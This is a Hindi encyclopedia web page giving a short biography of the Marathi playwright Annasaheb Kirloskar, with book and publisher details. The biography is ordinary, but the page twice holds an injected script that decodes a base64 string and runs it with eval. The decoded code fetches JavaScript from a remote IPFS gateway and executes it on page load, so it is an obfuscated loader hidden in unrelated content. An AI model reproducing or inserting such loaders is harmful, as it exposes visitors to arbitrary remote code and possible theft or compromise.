अण्णा साहेब किर्लोस्कर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अण्णा साहेब किर्लोस्कर
पुस्तक नाम हिन्दी विश्वकोश खण्ड 3
पृष्ठ संख्या 15
भाषा हिन्दी देवनागरी
संपादक सुधाकर पांडेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1976 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक परमेश्वरीलाल गुप्त

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अण्णा साहेब किर्लोस्कर (1843-1885 ई.)। मराठी रंगमंच के आदि संगीत-नाटककार। आपका जन्म महाराष्ट्र के बेलगाँव जिले के एक गाँव में हुआ था। विद्याध्ययन के लिए 1863 में पूना भेजे गए किंतु संगीत और नाटक में आरंभ से ही रुचि होने के कारण स्कूली पढ़ाई में मन नहीं लगा। पढ़ाई छोड़कर आपने अध्यापक, सिपाही आदि की नौकरी की पर उनके जीवन का विकास नाटक के क्षेत्र में ही हुआ। उन्होंने 1866 में भारत शास्त्रोत्तेजक मंडली की स्थापना की और अपने लिखे नाटक श्री शंकर-दिग्विजय और अलाउद्दीन का मंचन किया। इसमें उन्हें पर्याप्त सफलता मिली। इससे उत्साहित होकर उन्होंने अपने सहकर्मियों के साथ मिलकर किर्लोस्कर संगीत नाटक मंडली के नाम से एक व्यावसायिक संस्था की स्थापना की और 1880 ई. में पूना में अभिज्ञान शाकुंतल का मराठी संगीत रूपक संगीत शाकुंतल प्रस्तुत किया। इस नाटक की सफलता ने मराठी रंगमंच में एक नया युग उपस्थित कर दिया। किर्लोस्कर ने संगीत शाकुंतल के अतिरिक्त सौभद्र रामराज्य वियोग आदि अन्य कई नाटक लिखे और वे सभी समादरित हुए। 42 वर्ष की अवस्था में आपका 1885 ई. में देहांत हो गया।


टीका टिप्पणी और संदर्भ